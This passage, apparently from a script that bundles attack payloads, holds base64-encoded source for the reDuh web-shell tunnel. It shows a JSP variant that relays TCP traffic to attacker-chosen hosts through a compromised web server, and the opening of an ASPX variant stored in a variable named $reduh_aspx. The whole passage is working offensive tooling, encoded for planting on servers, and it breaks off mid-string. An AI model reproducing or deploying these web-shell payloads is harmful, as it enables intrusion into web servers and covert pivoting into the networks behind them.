b3J0PW51bGw7CglTdHJpbmcgdG1wUENQb3J0PW51bGw7CglTdHJpbmcgdGFyZ2V0SG9zdD1udWxsOwoJU3RyaW5nIGNtZD1udWxsOwoJU3RyaW5nIHNvY2tldE51bWJlcj1udWxsOwoJU3RyaW5nIHNlcXVlbmNlTnVtYmVyPW51bGw7CglpbnQgdGFyZ2V0UG9ydD0tMTsKCWludCBzZXJ2aWNlUG9ydD0tMTsKCQoJLy9WYXJzIHRvIHVzZSB0byBzcGVhayB0byB0aGUgc2VydmljZSBvbiBzZXZpY2UgcG9ydAoJU29ja2V0IHJwY1NvY2s9bnVsbDsKCVByaW50V3JpdGVyIHJ3ID0gbnVsbDsKCUJ1ZmZlcmVkUmVhZGVyIHJkID0gbnVsbDsKCQoJc19wYXRoPWFwcGxpY2F0aW9uLmdldFJlYWxQYXRoKHJlcXVlc3QuZ2V0U2VydmxldFBhdGgoKSk7IC8vTWF5IGJlIHVzZWZ1bCBhdCBzb21lIHBvaW50LiBzX3BhdGggd2lsbCBjb250YWluIHRoZSB3ZWJyb290IGRpciB3aGVyZSB0aGUgSlNQIHNpdHMKCQoJLyoqIFByb2Nlc3MgUmVxdWVzdCAqKi8JIAoJYWN0aW9uPXJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJhY3Rpb24iKTsKCWNtZD1yZXF1ZXN0LmdldFBhcmFtZXRlcigiY29tbWFuZCIpOwoJdGFyZ2V0SG9zdD1yZXF1ZXN0LmdldFBhcmFtZXRlcigidGFyZ2V0SG9zdCIpOwoJdG1wVGFyZ2V0UG9ydD1yZXF1ZXN0LmdldFBhcmFtZXRlcigidGFyZ2V0UG9ydCIpOwoJaWYodG1wVGFyZ2V0UG9ydCE9bnVsbCkKCQl0YXJnZXRQb3J0PUludGVnZXIucGFyc2VJbnQodG1wVGFyZ2V0UG9ydCk7CglkYXRhPXJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJkYXRhIik7Cgl0bXBQQ1BvcnQ9cmVxdWVzdC5nZXRQYXJhbWV0ZXIoInNlcnZpY2VQb3J0Iik7CglpZih0bXBQQ1BvcnQhPW51bGwpCgkJc2VydmljZVBvcnQ9SW50ZWdlci5wYXJzZUludCh0bXBQQ1BvcnQpOwoJc29ja2V0TnVtYmVyPXJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJzb2NrZXROdW1iZXIiKTsJCglzZXF1ZW5jZU51bWJlcj1yZXF1ZXN0LmdldFBhcmFtZXRlcigic2VxdWVuY2VOdW1iZXIiKTsJCgkKCWlmKCBhY3Rpb24gPT0gbnVsbCl7CgkJLy9UT0RPOiBJZiBubyBhcmdzIGFyZSBwYXNzZWQsIGhhdmUgc29tZSBzb3J0IG9mIG1hbmFnZW1lbnQgaW50ZXJmYWNlLCBnaXZpbmcgb3B0aW9ucyB0byBsb2FkIGNvbW1hbmQgc2hlbGwsIGZpbGUgdXBsb2FkZXIgZXRjCgkJb3V0LnByaW50bG4oIltyZUR1aEVycm9yXVVuZGVmaW5lZCBSZXF1ZXN0Iik7Cgl9CgllbHNlIGlmIChhY3Rpb24uY29tcGFyZVRvKCJjaGVja1BvcnQiKT09MCl7CgkJaWYocmVxdWVzdC5nZXRQYXJhbWV0ZXIoInBvcnQiKSAhPSBudWxsKXsKCQkJdHJ5ewoJCQkJaW50IHBvcnQgPSBJbnRlZ2VyLnBhcnNlSW50KHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwb3J0IikpOwoJCQkJU2VydmVyU29ja2V0IHRtcFNlcnZlclNvY2tldCA9IG5ldyBTZXJ2ZXJTb2NrZXQocG9ydCk7CgkJCQlvdXQucHJpbnRsbigiU3VjY2VzcyB0ZXN0aW5nIHBvcnQgIiArIHBvcnQpOwoJCQkJdG1wU2VydmVyU29ja2V0LmNsb3NlKCk7CQkJCQoJCQl9Y2F0Y2goRXhjZXB0aW9uIGUgKXsKCQkJCW91dC5wcmludGxuKCJbRXhjZXB0aW9uXSAiICsgZSk7CgkJCX0KCQkJb3V0LmZsdXNoKCk7CgkJfQoJfQoJZWxzZSBpZihhY3Rpb24uY29tcGFyZVRvKCJzdGFydFJlRHVoIik9PTApewoJCWlmKHNlcnZpY2VQb3J0PT0tMSl7CgkJCW91dC5wcmludGxuKCJFUlJPUjogQmFkIHNlcnZpY2UgcG9ydCAtICIgKyBzZXJ2aWNlUG9ydCArIi4gRGlkIHlvdXIgcmVxdWVzdCBwYXNzIG9uZT8iKTsKCQkJaWYoREVCVUdfTEVWRUw+MCkKCQkJCVN5c3RlbS5vdXQucHJpbnRsbigiRVJST1I6IEJhZCBzZXJ2aWNlIHBvcnQgLSAiICsgc2VydmljZVBvcnQpOwkJCQoJCX0KCQllbHNlewoJCQkKCQkJLy9UaGlzIHdpbGwgc3RhcnQgYSBsaXN0ZW5pbmcgc2VydmljZSB0aHJvdWdoIHdoaWNoIHdlIHdpbGwgY29tbXVuaWNhdGUgdG8gb3VyIHNjcmlwdC4gVGhlIHNjcmlwdCB3aWxsIGNyZWF0ZSBzb2NrZXRzLCBwYXNzIGRhdGEsIGFuZCBnZXQgZGF0YSBldGMgdGhyb3VnaCB0aGlzIHBvcnQuCgkJCXJlRHVoIHJlZGlyZWN0b3IgPSBuZXcgcmVEdWgoc2VydmljZVBvcnQpOwkJCS8vQ3JlYXRlIG91ciByZWRpcmVjdG9yCgkJCXJlZGlyZWN0b3Iuc3RhcnQoKTsKCQkJb3V0LnByaW50bG4oIlRoZSBhaXJwbGFuZSBmbGllcyBoaWdoLCBsb29rcyBsZWZ0LCB0dXJucyByaWdodCIpOwkJLy9UaGlzIHdvbid0IGJlIHNlZW4gb3IgY2F1Z2h0IGFueXdoZXJlLgoJCQlvdXQuZmx1c2goKTsKCQkJcmVkaXJlY3Rvci5qb2luKCk7CgkJfQkJIAoJfQoJZWxzZSBpZihhY3Rpb24uY29tcGFyZVRvKCJnZXREYXRhIik9PTApewoJCWlmKHNlcnZpY2VQb3J0PT0tMSl7CgkJCW91dC5wcmludGxuKCJFUlJPUjogQmFkIHNlcnZpY2UgcG9ydCAtICIgKyBzZXJ2aWNlUG9ydCk7CgkJCWlmKERFQlVHX0xFVkVMPjApCgkJCQlTeXN0ZW0ub3V0LnByaW50bG4oIkVSUk9SOiBCYWQgc2VydmljZSBwb3J0IC0gIiArIHNlcnZpY2VQb3J0KTsKCQl9CgkJZWxzZXsKCQkJcnBjU29jayA9IG5ldyBTb2NrZXQoImxvY2FsaG9zdCIsIHNlcnZpY2VQb3J0KTsJCQkJIAoJCQlydyA9IG5ldyBQcmludFdyaXRlcihycGNTb2NrLmdldE91dHB1dFN0cmVhbSgpLCB0cnVlKTsKCQkJcmQgPSBuZXcgQnVmZmVyZWRSZWFkZXIobmV3IElucHV0U3RyZWFtUmVhZGVyKHJwY1NvY2suZ2V0SW5wdXRTdHJlYW0oKSkpOwkJCQkKCQkJcncucHJpbnRsbigiW2dldERhdGFdIik7CgkJCVN0cmluZyBpbnB1dD1udWxsOwoJCQlpbnB1dD1yZC5yZWFkTGluZSgpOwoJCQlvdXQucHJpbnRsbihpbnB1dCk7CgkJCW91dC5mbHVzaCgpOwoJCQlydy5jbG9zZSgpOwoJCQlyZC5jbG9zZSgpOwoJCQlycGNTb2NrLmNsb3NlKCk7CQoJCX0KCX0KCQoJZWxzZSBpZihhY3Rpb24uY29tcGFyZVRvKCJraWxsUmVEdWgiKT09MCl7CgkJaWYoc2VydmljZVBvcnQ9PS0xKXsKCQkJb3V0LnByaW50bG4oIkVSUk9SOiBCYWQgc2VydmljZSBwb3J0IC0gIiArIHNlcnZpY2VQb3J0KTsKCQkJaWYoREVCVUdfTEVWRUw+MCkKCQkJCVN5c3RlbS5vdXQucHJpbnRsbigiRVJST1I6IEJhZCBzZXJ2aWNlIHBvcnQgLSAiICsgc2VydmljZVBvcnQpOwoJCX0KCQllbHNlewkJCgkJCXRyeXsKCQkJCXJwY1NvY2sgPSBuZXcgU29ja2V0KCJsb2NhbGhvc3QiLCBzZXJ2aWNlUG9ydCk7CQkJCQkvL05CIE1ha2Ugc3VyZSB0aGUgY2xpZW50IHByb2dyYW0gcmVhZHMgdGhlIHJlc3VsdCBvZiB0aGUgY3JlYXRpb24gb2YgdGhlIHJlRHVoIG9iamVjdCB0byBzZWUgd2hhdCBwb3J0IGl0IHN0YXJ0ZWQgb24KCQkJCXJ3ID0gbmV3IFByaW50V3JpdGVyKHJwY1NvY2suZ2V0T3V0cHV0U3RyZWFtKCksIHRydWUpOwoJCQkJcncucHJpbnRsbigiW3NodXRkb3duXSIpOwoJCQkJcncuY2xvc2UoKTsKCQkJCXJwY1NvY2suY2xvc2UoKTsgCgkJCQlvdXQucHJpbnRsbigiW0luZm9dU2h1dGRvd24gY29tcGxldGUiKTsKCQkJfWNhdGNoKENvbm5lY3RFeGNlcHRpb24gZSl7CgkJCQlvdXQucHJpbnRsbigiW0Vycm9yXUNhbm5vdCBjb25uZWN0IHRvIHJlRHVoIHNlcnZpY2Ugb24gcG9ydCAiICsgc2VydmljZVBvcnQpOwoJCQl9CgkJfQoJCQoJfQkKCWVsc2UgaWYoYWN0aW9uLmNvbXBhcmVUbygiY3JlYXRlU29ja2V0Iik9PTApewoJCWlmKHRhcmdldFBvcnQ9PS0xIHx8IHRhcmdldEhvc3Q9PW51bGwgfHwgc29ja2V0TnVtYmVyPT1udWxsIHx8IHNlcnZpY2VQb3J0PT0tMSkKCQkJb3V0LnByaW50bG4oIkVSUk9SOkJhZCBwb3J0IG9yIGhvc3Qgb3Igc29ja2V0TnVtYmVyIGZvciBjcmVhdGluZyBuZXcgc29ja2V0Iik7CQkJCQoJCWVsc2V7CgkJCS8vQ3JlYXRlIG5ldyBzb2NrZXQKCQkJdHJ5ewoJCQkJcnBjU29jayA9IG5ldyBTb2NrZXQoImxvY2FsaG9zdCIsIHNlcnZpY2VQb3J0KTsJCQkJCS8vTkIgTWFrZSBzdXJlIHRoZSBjbGllbnQgcHJvZ3JhbSByZWFkcyB0aGUgcmVzdWx0IG9mIHRoZSBjcmVhdGlvbiBvZiB0aGUgcmVEdWggb2JqZWN0IHRvIHNlZSB3aGF0IHBvcnQgaXQgc3RhcnRlZCBvbgoJCQkJcncgPSBuZXcgUHJpbnRXcml0ZXIocnBjU29jay5nZXRPdXRwdXRTdHJlYW0oKSwgdHJ1ZSk7CgkJCQlyZCA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcgSW5wdXRTdHJlYW1SZWFkZXIocnBjU29jay5nZXRJbnB1dFN0cmVhbSgpKSk7CQkJCQoJCQkJcncucHJpbnRsbigiW2NyZWF0ZVNvY2tldF0iICsgdGFyZ2V0SG9zdCArICI6IiArIHRhcmdldFBvcnQgKyI6Iitzb2NrZXROdW1iZXIpOwoJCQkJU3RyaW5nIGZvbz1udWxsOwoJCQkJb3V0LnByaW50bG4ocmQucmVhZExpbmUoKSk7CgkJCQlydy5jbG9zZSgpOwoJCQkJcnBjU29jay5jbG9zZSgpOyAJCQkKCQl9Y2F0Y2goQ29ubmVjdEV4Y2VwdGlvbiBlKXsKCQkJb3V0LnByaW50bG4oIltFcnJvcl1DYW5ub3QgY29ubmVjdCB0byByZUR1aCBzZXJ2aWNlIG9uIHBvcnQgIiArIHNlcnZpY2VQb3J0KTsKCQl9CQkJCQoKCQl9Cgl9CQoJZWxzZSBpZihhY3Rpb24uY29tcGFyZVRvKCJuZXdEYXRhIik9PTApewoJCWlmKHRhcmdldFBvcnQ9PS0xIHx8IHRhcmdldEhvc3Q9PW51bGwgfHwgZGF0YT09bnVsbCB8fCBzb2NrZXROdW1iZXI9PW51bGwgfHwgc2VxdWVuY2VOdW1iZXI9PW51bGwgfHwgc2VydmljZVBvcnQ9PS0xKQoJCQlvdXQucHJpbnRsbigiRVJST1I6QmFkIHBvcnQsIG9yIGhvc3QsIG9yIGJsYW5rIGRhdGEgZm9yIHBvc3RpbmcgbmV3IGRhdGEiKTsKCQllbHNlewoJCQkvL1B1dCBuZXcgc3RyaW5nIGFycmF5IGRhdGEgaW50byBjb25uZWN0aW9uUG9vbC50YXJnZXRfaW5wdXQucXVldWUKCQkJdHJ5ewkJCQoJCQkJcnBjU29jayA9IG5ldyBTb2NrZXQoImxvY2FsaG9zdCIsIHNlcnZpY2VQb3J0KTsJCQkJCS8vTkIgTWFrZSBzdXJlIHRoZSBjbGllbnQgcHJvZ3JhbSByZWFkcyB0aGUgcmVzdWx0IG9mIHRoZSBjcmVhdGlvbiBvZiB0aGUgcmVEdWggb2JqZWN0IHRvIHNlZSB3aGF0IHBvcnQgaXQgc3RhcnRlZCBvbgoJCQkJcncgPSBuZXcgUHJpbnRXcml0ZXIocnBjU29jay5nZXRPdXRwdXRTdHJlYW0oKSwgdHJ1ZSk7Ci8vCQkJCXJkID0gbmV3IEJ1ZmZlcmVkUmVhZGVyKG5ldyBJbnB1dFN0cmVhbVJlYWRlcihycGNTb2NrLmdldElucHV0U3RyZWFtKCkpKTsJCQkJIC8vYWRkIHNvbWUgc29ydCBvZiBNZDUgaGVyZT8KCQkJCXJ3LnByaW50bG4oIltuZXdEYXRhXSIgKyB0YXJnZXRIb3N0ICsgIjoiICsgdGFyZ2V0UG9ydCsiOiIrc29ja2V0TnVtYmVyKyI6IitzZXF1ZW5jZU51bWJlcisiOiIrZGF0YSk7CgkJCQlvdXQucHJpbnRsbigiQ2F1Z2h0IGRhdGEgd2l0aCBzZXF1ZW5jZU51bWJlciAiICsgc2VxdWVuY2VOdW1iZXIpOwoJCQkJcncuY2xvc2UoKTsKCQkJCXJwY1NvY2suY2xvc2UoKTsJCQkJCQoJCQkJfWNhdGNoKEV4Y2VwdGlvbiBlKXsKCQkJCQlvdXQucHJpbnRsbigiW0Vycm9yXVVuYWJsZSB0byBjb25uZWN0IHRvIHJlRHVoLmpzcCBtYWluIHByb2Nlc3Mgb24gcG9ydCAiICtzZXJ2aWNlUG9ydCsiLiBJcyBpdCBydW5uaW5nPyAtPiAiICsgZSk7CgkJCQl9CgkJfQkJCQoJfQoJZWxzZSBpZihhY3Rpb24uY29tcGFyZVRvKCJkZWJ1ZyIpPT0wKXsJCgkJb3V0LnByaW50bG4oIjxoMz5ERUJVRzoiKTsKCQkvLwoJCW91dC5wcmludGxuKCI8aDM+OkRFQlVHIEVORCIpOwoJfQkKCgllbHNlewoJCW91dC5wcmludGxuKCJbUkVEVUhdRVJST1I6VW5kZWZpbmVkIGFjdGlvbiBwYXJhbXRlciIpOwoJfQoKJT4KCgoKCgo8JSEKCiAgICAvKioKICAgICAqIEVuY29kZXMgYSBTdHJpbmcgaW50byBhIGJhc2UgNjQgU3RyaW5nLiBUaGUgcmVzdWx0aW5nIGVuY29kaW5nIGlzIGNodW5rZWQgYXQgNzYgYnl0ZXMuCiAgICAgKiA8cD4KICAgICAqIEBwYXJhbSBzIFN0cmluZyB0byBlbmNvZGUuCiAgICAgKiBAcmV0dXJuIGVuY29kZWQgc3RyaW5nLgogICAgICoKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBTdHJpbmcgZW5jb2RlKFN0cmluZyBzKSB7CiAgICAgICAgYnl0ZVtdIHNCeXRlcyA9ICBzLmdldEJ5dGVzKCk7CiAgICAgICAgc0J5dGVzID0gZW5jb2RlKHNCeXRlcyk7CiAgICAgICAgcyA9IG5ldyBTdHJpbmcoc0J5dGVzKTsKICAgICAgICByZXR1cm4gczsKICAgIH0KCiAgICAvKioKICAgICAqIERlY29kZXMgYSBiYXNlIDY0IFN0cmluZyBpbnRvIGEgU3RyaW5nLgogICAgICogPHA+CiAgICAgKiBAcGFyYW0gcyBTdHJpbmcgdG8gZGVjb2RlLgogICAgICogQHJldHVybiBlbmNvZGVkIHN0cmluZy4KICAgICAqIEB0aHJvd3MgamF2YS5sYW5nLklsbGVnYWxBcmd1bWVudEV4Y2VwdGlvbiB0aHJvd24gaWYgdGhlIGdpdmVuIGJ5dGUgYXJyYXkgd2FzIG5vdCB2YWxpZCBjb20uc3VuLnN5bmRpY2F0aW9uLmlvLmltcGwuQmFzZTY0IGVuY29kaW5nLgogICAgICoKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBTdHJpbmcgZGVjb2RlKFN0cmluZyBzKSB0aHJvd3MgSWxsZWdhbEFyZ3VtZW50RXhjZXB0aW9uIHsKICAgICAgICBzID0gcy5yZXBsYWNlQWxsKCJcbiIsICIiKTsKICAgICAgICBzID0gcy5yZXBsYWNlQWxsKCJcciIsICIiKTsKICAgICAgICBieXRlW10gc0J5dGVzID0gcy5nZXRCeXRlcygpOwogICAgICAgIHNCeXRlcyA9IGRlY29kZShzQnl0ZXMpOwogICAgICAgIHMgPSBuZXcgU3RyaW5nKHNCeXRlcyk7CiAgICAgICAgcmV0dXJuIHM7CiAgICB9CgoKICAgIHByaXZhdGUgc3RhdGljIGZpbmFsIGJ5dGVbXSBBTFBIQVNFVCA9CiAgICAgICAgIkFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky89Ii5nZXRCeXRlcygpOwoKICAgIHByaXZhdGUgc3RhdGljIGZpbmFsIGludCBJNk8yID0gMjU1IC0gMzsKICAgIHByaXZhdGUgc3RhdGljIGZpbmFsIGludCBPNkkyID0gMzsKICAgIHByaXZhdGUgc3RhdGljIGZpbmFsIGludCBJNE80ID0gMjU1IC0gMTU7CiAgICBwcml2YXRlIHN0YXRpYyBmaW5hbCBpbnQgTzRJNCA9IDE1OwogICAgcHJpdmF0ZSBzdGF0aWMgZmluYWwgaW50IEkyTzYgPSAyNTUgLSA2MzsKICAgIHByaXZhdGUgc3RhdGljIGZpbmFsIGludCBPMkk2ID0gNjM7CgogICAgLyoqCiAgICAgKiBFbmNvZGVzIGEgYnl0ZSBhcnJheSBpbnRvIGEgYmFzZSA2NCBieXRlIGFycmF5LgogICAgICogPHA+CiAgICAgKiBAcGFyYW0gZERhdGEgYnl0ZSBhcnJheSB0byBlbmNvZGUuCiAgICAgKiBAcmV0dXJuIGVuY29kZWQgYnl0ZSBhcnJheS4KICAgICAqCiAgICAgKi8KICAgIHB1YmxpYyBzdGF0aWMgYnl0ZVtdIGVuY29kZShieXRlW10gZERhdGEpIHsKICAgICAgICBpZiAoZERhdGE9PW51bGwpIHsKICAgICAgICAgICAgdGhyb3cgbmV3IElsbGVnYWxBcmd1bWVudEV4Y2VwdGlvbigiQ2Fubm90IGVuY29kZSBudWxsIik7CiAgICAgICAgfQogICAgICAgIGJ5dGVbXSBlRGF0YSA9IG5ldyBieXRlWygoZERhdGEubGVuZ3RoKzIpLzMpKjRdOwoKICAgICAgICBpbnQgZUluZGV4ID0gMDsKICAgICAgICBmb3IgKGludCBpID0gMDsgaTxkRGF0YS5sZW5ndGg7IGkgKz0gMykgewogICAgICAgICAgICBpbnQgZDE7CiAgICAgICAgICAgIGludCBkMj0wOwogICAgICAgICAgICBpbnQgZDM9MDsKICAgICAgICAgICAgaW50IGUxOwogICAgICAgICAgICBpbnQgZTI7CiAgICAgICAgICAgIGludCBlMzsKICAgICAgICAgICAgaW50IGU0OwogICAgICAgICAgICBpbnQgcGFkPTA7CgogICAgICAgICAgICBkMSA9IGREYXRhW2ldOwogICAgICAgICAgICBpZiAoKGkrMSk8ZERhdGEubGVuZ3RoKSB7CiAgICAgICAgICAgICAgICBkMiA9IGREYXRhW2krMV07CiAgICAgICAgICAgICAgICBpZiAoKGkrMik8ZERhdGEubGVuZ3RoKSB7CiAgICAgICAgICAgICAgICAgICAgZDMgPSBkRGF0YVtpKzJdOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgcGFkID0xOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgcGFkID0yOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlMSA9IEFMUEhBU0VUWyhkMSZJNk8yKT4+Ml07CiAgICAgICAgICAgIGUyID0gQUxQSEFTRVRbKGQxJk82STIpPDw0IHwgKGQyJkk0TzQpPj40XTsKICAgICAgICAgICAgZTMgPSBBTFBIQVNFVFsoZDImTzRJNCk8PDIgfCAoZDMmSTJPNik+PjZdOwogICAgICAgICAgICBlNCA9IEFMUEhBU0VUWyhkMyZPMkk2KV07CgogICAgICAgICAgICBlRGF0YVtlSW5kZXgrK10gPSAoYnl0ZSllMTsKICAgICAgICAgICAgZURhdGFbZUluZGV4KytdID0gKGJ5dGUpZTI7CiAgICAgICAgICAgIGVEYXRhW2VJbmRleCsrXSA9IChwYWQ8MikgPyhieXRlKWUzIDogKGJ5dGUpJz0nOwogICAgICAgICAgICBlRGF0YVtlSW5kZXgrK10gPSAocGFkPDEpID8oYnl0ZSllNCA6IChieXRlKSc9JzsKCiAgICAgICAgfQogICAgICAgIHJldHVybiBlRGF0YTsKICAgIH0KCiAgICBwcml2YXRlIGZpbmFsIHN0YXRpYyBpbnRbXSBDT0RFUyA9IG5ldyBpbnRbMjU2XTsKCiAgICBzdGF0aWMgewogICAgICAgIGZvciAoaW50IGk9MDtpPENPREVTLmxlbmd0aDtpKyspIHsKICAgICAgICAgICAgQ09ERVNbaV0gPSA2NDsKICAgICAgICB9CiAgICAgICAgZm9yIChpbnQgaT0wO2k8QUxQSEFTRVQubGVuZ3RoO2krKykgewogICAgICAgICAgICBDT0RFU1tBTFBIQVNFVFtpXV0gPSBpOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIERlbmNvZGVzIGEgY29tLnN1bi5zeW5kaWNhdGlvbi5pby5pbXBsLkJhc2U2NCBieXRlIGFycmF5LgogICAgICogPHA+CiAgICAgKiBAcGFyYW0gZURhdGEgYnl0ZSBhcnJheSB0byBkZWNvZGUuCiAgICAgKiBAcmV0dXJuIGRlY29kZWQgYnl0ZSBhcnJheS4KICAgICAqIEB0aHJvd3MgamF2YS5sYW5nLklsbGVnYWxBcmd1bWVudEV4Y2VwdGlvbiB0aHJvd24gaWYgdGhlIGdpdmVuIGJ5dGUgYXJyYXkgd2FzIG5vdCB2YWxpZCBjb20uc3VuLnN5bmRpY2F0aW9uLmlvLmltcGwuQmFzZTY0IGVuY29kaW5nLgogICAgICoKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBieXRlW10gZGVjb2RlKGJ5dGVbXSBlRGF0YSkgewogICAgICAgIGlmIChlRGF0YT09bnVsbCkgewogICAgICAgICAgICB0aHJvdyBuZXcgSWxsZWdhbEFyZ3VtZW50RXhjZXB0aW9uKCJDYW5ub3QgZGVjb2RlIG51bGwiKTsKICAgICAgICB9CiAgICAgICAgYnl0ZVtdIGNsZWFuRURhdGEgPSAoYnl0ZVtdKSBlRGF0YS5jbG9uZSgpOwogICAgICAgIGludCBjbGVhbkVMZW5ndGggPSAwOwogICAgICAgIGZvciAoaW50IGk9MDtpPGVEYXRhLmxlbmd0aDtpKyspIHsKICAgICAgICAgICAgaWYgKGVEYXRhW2ldPDI1NiAmJiBDT0RFU1tlRGF0YVtpXV08NjQpIHsKICAgICAgICAgICAgICAgIGNsZWFuRURhdGFbY2xlYW5FTGVuZ3RoKytdID0gZURhdGFbaV07CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGludCBkTGVuZ3RoID0gKGNsZWFuRUxlbmd0aC80KSozOwogICAgICAgIHN3aXRjaCAoY2xlYW5FTGVuZ3RoJTQpIHsKICAgICAgICAgICAgY2FzZSAzOgogICAgICAgICAgICAgICAgZExlbmd0aCArPSAyOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgMjoKICAgICAgICAgICAgICAgIGRMZW5ndGgrKzsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KCiAgICAgICAgYnl0ZVtdIGREYXRhID0gbmV3IGJ5dGVbZExlbmd0aF07CiAgICAgICAgaW50IGRJbmRleCA9IDA7CiAgICAgICAgZm9yIChpbnQgaSA9IDA7IGkgPCBlRGF0YS5sZW5ndGg7IGkgKz0gNCkgewogICAgICAgICAgICBpZiAoKGkgKyAzKSA+IGVEYXRhLmxlbmd0aCkgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IElsbGVnYWxBcmd1bWVudEV4Y2VwdGlvbigiYnl0ZSBhcnJheSBpcyBub3QgYSB2YWxpZCBjb20uc3VuLnN5bmRpY2F0aW9uLmlvLmltcGwuQmFzZTY0IGVuY29kaW5nIik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaW50IGUxID0gQ09ERVNbY2xlYW5FRGF0YVtpXV07CiAgICAgICAgICAgIGludCBlMiA9IENPREVTW2NsZWFuRURhdGFbaSsxXV07CiAgICAgICAgICAgIGludCBlMyA9IENPREVTW2NsZWFuRURhdGFbaSsyXV07CiAgICAgICAgICAgIGludCBlNCA9IENPREVTW2NsZWFuRURhdGFbaSszXV07CiAgICAgICAgICAgIGREYXRhW2RJbmRleCsrXSA9IChieXRlKSAoKGUxPDwyKXwoZTI+PjQpKTsKICAgICAgICAgICAgaWYgKGRJbmRleDxkRGF0YS5sZW5ndGgpIHsKICAgICAgICAgICAgICAgIGREYXRhW2RJbmRleCsrXSA9IChieXRlKSAoKGUyPDw0KSB8IChlMz4+MikpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChkSW5kZXg8ZERhdGEubGVuZ3RoKSB7CiAgICAgICAgICAgICAgICBkRGF0YVtkSW5kZXgrK10gPSAoYnl0ZSkgKChlMzw8NikgfCAoZTQpKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZERhdGE7CiAgICB9CQolPg==";
$reduh_aspx="PCVAIFBhZ2UgbGFuZ3VhZ2U9ImMjIiBBdXRvRXZlbnRXaXJldXA9ImZhbHNlIiAlPg0KPCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbSIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uQ29sbGVjdGlvbnMiICU+DQo8JUAgSW1wb3J0IE5hbWVzcGFjZT0iU3lzdGVtLkNvbXBvbmVudE1vZGVsIiAlPg0KPCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EYXRhIiAlPg0KPCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EcmF3aW5nIiAlPg0KPCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5JTyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uTmV0LlNvY2tldHMiICU+DQo8JUAgSW1wb3J0IE5hbWVzcGFjZT0iU3lzdGVtLlRocmVhZGluZyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uV2ViIiAlPg0KPCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5XZWIuU2Vzc2lvblN0YXRlIiAlPg0KDQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiPg0KcHVibGljIGludGVyZmFjZSBJVGhyZWFkUnVubmFibGUNCnsNCgl2b2lkIFJ1bigpOw0KfQ0KcHVibGljIGNsYXNzIFN1cHBvcnRDbGFzcw0Kew0KCXB1YmxpYyBzdGF0aWMgYnl0ZVtdIFRvQnl0ZUFycmF5KHNieXRlW10gc2J5dGVBcnJheSkNCgl7DQoJCWJ5dGVbXSBieXRlQXJyYXkgPSBudWxsOw0KCQlpZiAoc2J5dGVBcnJheSAhPSBudWxsKQ0KCQl7DQoJCQlieXRlQXJyYXkgPSBuZXcgYnl0ZVtzYnl0ZUFycmF5Lkxlbmd0aF07DQoJCQlmb3IoaW50IGluZGV4PTA7IGluZGV4IDwgc2J5dGVBcnJheS5MZW5ndGg7IGluZGV4KyspDQoJCQkJYnl0ZUFycmF5W2luZGV4XSA9IChieXRlKSBzYnl0ZUFycmF5W2luZGV4XTsNCgkJfQ0KCQlyZXR1cm4gYnl0ZUFycmF5Ow0KCX0NCglwdWJsaWMgc3RhdGljIGJ5dGVbXSBUb0J5dGVBcnJheShTdHJpbmcgc291cmNlU3RyaW5nKQ0KCXsNCgkJcmV0dXJuIFN5c3RlbS5UZXh0LlVURjhFbmNvZGluZy5VVEY4LkdldEJ5dGVzKHNvdXJjZVN0cmluZyk7DQoJfQ0KCXB1YmxpYyBzdGF0aWMgYnl0ZVtdIFRvQnl0ZUFycmF5KE9iamVjdFtdIHRlbXBPYmplY3RBcnJheSkNCgl7DQoJCWJ5dGVbXSBieXRlQXJyYXkgPSBudWxsOw0KCQlpZiAodGVtcE9iamVjdEFycmF5ICE9IG51bGwpDQoJCXsNCgkJCWJ5dGVBcnJheSA9IG5ldyBieXRlW3RlbXBPYmplY3RBcnJheS5MZW5ndGhdOw0KCQkJZm9yIChpbnQgaW5kZXggPSAwOyBpbmRleCA8IHRlbXBPYmplY3RBcnJheS5MZW5ndGg7IGluZGV4KyspDQoJCQkJYnl0ZUFycmF5W2luZGV4XSA9IChieXRlKXRlbXBPYmplY3RBcnJheVtpbmRleF07DQoJCX0NCgkJcmV0dXJuIGJ5dGVBcnJheTsNCgl9DQoJcHVibGljIHN0YXRpYyBzYnl0ZVtdIFRvU0J5dGVBcnJheShieXRlW10gYnl0ZUFycmF5KQ0KCXsNCgkJc2J5dGVbXSBzYnl0ZUFycmF5ID0gbnVsbDsNCgkJaWYgKGJ5dGVBcnJheSAhPSBudWxsKQ0KCQl7DQoJCQlzYnl0ZUFycmF5ID0gbmV3IHNieXRlW2J5dGVBcnJheS5MZW5ndGhdOw0KCQkJZm9yKGludCBpbmRleD0wOyBpbmRleCA8IGJ5dGVBcnJheS5MZW5ndGg7IGluZGV4KyspDQoJ